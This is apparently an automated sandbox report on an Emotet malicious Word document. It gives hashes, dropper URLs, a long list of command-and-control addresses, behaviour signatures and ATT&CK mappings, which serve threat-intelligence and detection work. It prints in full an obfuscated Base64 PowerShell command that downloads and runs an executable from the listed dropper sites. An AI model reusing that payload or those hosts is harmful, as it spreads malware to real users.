emotet | 1eb595533c1188468da26f2d8efdec446f0b7d1e1eb1faafaf7969193d8d82d7

General

Target
emotet_e3_1eb595533c1188468da26f2d8efdec446f0b7d1e1eb1faafaf7969193d8d82d7_2020-08-11__162615._doc.doc
Size 229KB
Sample200811-jdcftnkf2n
SHA256 1eb595533c1188468da26f2d8efdec446f0b7d1e1eb1faafaf7969193d8d82d7
MD5 953082cd27f8bd8ebf0e0f5d8975b221
SHA1 c6814ffe30877cab2cc16ca047a783109bbf3def
SHA512 2e730629c9af2fb2953e4f30fa469bc2afab5c8875fce0c773028822235b0d15b5096b2eea5373f06c6599e7584df3ba440368dcff0507b2e50537afa5262e37
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://labersa.com/preview/pXHuX/
exe.dropper
http://roundlab.net/php/sBUVLCCA/
exe.dropper
http://www.rumormiller.com/statement/yOdnH/
exe.dropper
http://seismophonic.com/images/kXLCVUaq/
exe.dropper
http://stawiarz.pl/licznik/aRO0ndjc44/

Extracted

Family

emotet

C2

202.5.47.71:80
139.99.157.213:8080
188.166.25.84:8080
192.163.221.191:8080
181.113.229.139:443
115.79.195.246:80
113.161.148.81:80
37.46.129.215:8080
190.55.233.156:80
115.165.3.213:80
41.185.29.128:8080
51.38.201.19:7080
178.33.167.120:8080
46.105.131.68:8080
74.208.173.91:8080
143.95.101.72:8080
75.127.14.170:8080
78.188.170.128:80
115.78.11.155:80
203.153.216.182:7080
77.74.78.80:443
105.209.235.113:8080
139.59.12.63:8080
31.146.61.34:80
172.105.78.244:8080
188.251.213.180:443
192.210.217.94:8080
81.17.93.134:80
188.0.135.237:80
50.116.78.109:8080
107.161.30.122:8080
163.172.107.70:8080
212.156.133.218:80
177.144.130.105:443
87.106.231.60:8080
198.57.203.63:8080
5.79.70.250:8080
87.252.100.28:80
177.37.81.212:443
114.173.201.110:80
176.9.93.82:7080
190.164.75.175:80
185.142.236.163:443
201.235.10.215:80
181.164.110.7:80
203.153.216.178:7080
153.220.182.49:80
185.208.226.142:8080
46.32.229.152:8080
195.201.56.70:8080
212.112.113.235:80
97.104.107.190:80
187.64.128.197:80
91.83.93.103:443
75.139.38.211:80
181.143.101.19:8080
81.214.253.80:443
78.189.60.109:443
113.160.180.109:80
157.7.164.178:8081
216.75.37.196:8080
182.187.139.200:8080
179.5.118.12:80
190.31.53.131:80
181.134.9.162:80
192.241.220.183:8080
37.70.131.107:80
181.167.35.84:80
182.176.95.147:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3996	912	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2360-14-0x00000000022B0000-0x00000000022BC000-memory.dmp	emotet
behavioral2/memory/2360-14-0x00000000022B0000-0x00000000022BC000-memory.dmp	emotet
behavioral2/memory/2688-18-0x0000000000430000-0x000000000043C000-memory.dmp	emotet
behavioral2/memory/2688-18-0x0000000000430000-0x000000000043C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	3996	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2360	950.exe
2688	objsel.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\aeevts\objsel.exe	950.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3996	powersheLL.exe
3996	powersheLL.exe
3996	powersheLL.exe
2688	objsel.exe
2688	objsel.exe
2688	objsel.exe
2688	objsel.exe
2688	objsel.exe
2688	objsel.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3996	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
2360	950.exe
2360	950.exe
2688	objsel.exe
2688	objsel.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2688	2360	950.exe	76
PID 2360 wrote to memory of 2688	2360	950.exe	76
PID 2360 wrote to memory of 2688	2360	950.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1eb595533c1188468da26f2d8efdec446f0b7d1e1eb1faafaf7969193d8d82d7_2020-08-11__162615._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAEsARwBGAEcAeQBsAHMAPQAnAEUAWQBUAEQAWQB1AHEAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAGAAVQByAGkAVAB5AGAAUAByAGAATwB0AE8AYABDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMASQBCAE0ASwBmAGMAagAgAD0AIAAnADkANQAwACcAOwAkAFUAVQBZAEcATwBxAGIAagA9ACcAUgBFAEIAUgBPAHIAYQBoACcAOwAkAEIAUABaAEgAUgBpAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBJAEIATQBLAGYAYwBqACsAJwAuAGUAeABlACcAOwAkAFYASQBBAFcAWgB0AGcAegA9ACcAWgBKAEgAVgBLAGcAZQBvACcAOwAkAFMAUQBMAE4ATQBjAGIAbgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAQgBDAEwAaQBlAE4AVAA7ACQAQwBMAEgAUwBNAHQAZQByAD0AJwBoAHQAdABwADoALwAvAGwAYQBiAGUAcgBzAGEALgBjAG8AbQAvAHAAcgBlAHYAaQBlAHcALwBwAFgASAB1AFgALwAqAGgAdAB0AHAAOgAvAC8AcgBvAHUAbgBkAGwAYQBiAC4AbgBlAHQALwBwAGgAcAAvAHMAQgBVAFYATABDAEMAQQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHIAdQBtAG8AcgBtAGkAbABsAGUAcgAuAGMAbwBtAC8AcwB0AGEAdABlAG0AZQBuAHQALwB5AE8AZABuAEgALwAqAGgAdAB0AHAAOgAvAC8AcwBlAGkAcwBtAG8AcABoAG8AbgBpAGMALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AawBYAEwAQwBWAFUAYQBxAC8AKgBoAHQAdABwADoALwAvAHMAdABhAHcAaQBhAHIAegAuAHAAbAAvAGwAaQBjAHoAbgBpAGsALwBhAFIATwAwAG4AZABqAGMANAA0AC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAUwBQAEUAcABnAGEAPQAnAEQASABGAEwAWQBuAGsAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQARABQAEcAVABYAGgAbwByACAAaQBuACAAJABDAEwASABTAE0AdABlAHIAKQB7AHQAcgB5AHsAJABTAFEATABOAE0AYwBiAG4ALgAiAEQATwB3AG4AbABgAG8AYQBgAGQARgBJAGAAbABFACIAKAAkAEQAUABHAFQAWABoAG8AcgAsACAAJABCAFAAWgBIAFIAaQBsAHkAKQA7ACQAWABZAFUARQBBAG8AZwBjAD0AJwBYAFYAVQBWAE0AegB2AGsAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABCAFAAWgBIAFIAaQBsAHkAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAyADIAOQA2ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAEEAYABUAGUAIgAoACQAQgBQAFoASABSAGkAbAB5ACkAOwAkAEcARQBMAFAAWQBpAGQAcwA9ACcATgBLAFQATABGAHEAaABxACcAOwBiAHIAZQBhAGsAOwAkAEsAQwBEAEkAQwBwAGkAZgA9ACcASQBVAEYAUABPAGoAeAB4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwASQBXAFcAWAB3AGIAbwA9ACcARQBLAE8ARQBGAGoAdgB6ACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3996

C:\Users\Admin\950.exe
C:\Users\Admin\950.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\SysWOW64\aeevts\objsel.exe
  "C:\Windows\SysWOW64\aeevts\objsel.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2360-14-0x00000000022B0000-0x00000000022BC000-memory.dmp

Download

memory/2360-13-0x000000000059C000-0x000000000059E000-memory.dmp

Download

memory/2688-17-0x000000000047C000-0x000000000047D000-memory.dmp

Download

memory/2688-18-0x0000000000430000-0x000000000043C000-memory.dmp

Download

memory/3740-0-0x00007FFA6BCC0000-0x00007FFA6C386000-memory.dmp

Download

memory/3740-3-0x000001B115489000-0x000001B11548E000-memory.dmp

Download

memory/3996-10-0x000001F2462B0000-0x000001F2462B1000-memory.dmp

Download

memory/3996-9-0x000001F22E0D0000-0x000001F22E0D1000-memory.dmp

Download

memory/3996-8-0x00007FFA641C0000-0x00007FFA64BAC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads